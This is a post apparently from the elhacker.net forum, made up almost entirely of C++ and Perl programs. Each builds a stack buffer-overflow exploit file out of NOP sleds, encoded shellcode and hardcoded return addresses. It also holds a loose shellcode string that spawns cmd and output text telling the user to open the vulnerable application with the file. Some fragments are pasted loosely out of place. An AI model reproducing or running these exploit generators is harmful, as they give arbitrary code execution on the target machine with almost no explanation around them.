Foro de elhacker.net

#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
    char ret[] = "\x58\xFA\x22\x00";
    char nops[] = 
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
                
    unsigned char shellcode[] =
                "\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74"
                "\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf"
                "\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6"
                "\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33"
                "\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96"
                "\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56"
                "\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09"
                "\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71"
                "\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2"
                "\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42"
                "\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05"
                "\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01"
                "\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f"
                "\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c"
                "\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c"
                "\x02\x1c";


                  
    cout << "Creando exploit\n\n";
    ofstream fichero;
    fichero.open("archivo.txt");
    fichero << nops << shellcode << ret ;
    fichero.close();
    cout << "ya esta!!!";

    return 0;
}

#1----------------------------------------------------------------------------
my $nopp="\x90" x 263;
my $shellcode = 
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";



#1---------------------------------------------------------------------------
my $exploit=$nopp.$shellcode;
my $file = "archivo.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Archivo.txt generado con exito,prosiga habriendo la aplicacion vulnerable.-\n"

"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";

"\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"

#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    char ret[] = "\x3c\x16\x40\x00";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    getchar();
    return 0;
}

#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    unsigned char nose = 0x00;
    char ret[] = "\x34\x16\x40";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret << nose;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}

#include <cstdlib>
#include <iostream>
#include <fstream>
#include <vector>

#define NOPS_MAX 316
using namespace std;

int main(){
    vector <unsigned char> nops(NOPS_MAX,0x90); //Creamos el vector de nops con
    // el numero de instrucciones NOP necesarias para el exploit, y la rellenamos
    // de NOP
    
    vector <unsigned char> ret(4);
    ret[0]=0x34; ret[1]=0x16; ret[2]=0x40; ret[3]=0x00;
    //Creamos el otro vector con el la direccion de memoria necesaria
        

    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    
    for (int i=0;i<nops.size();i++)
        f << nops[i];
        
    for (int i=0;i<ret.size();i++)
        f << ret[i];
    //f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}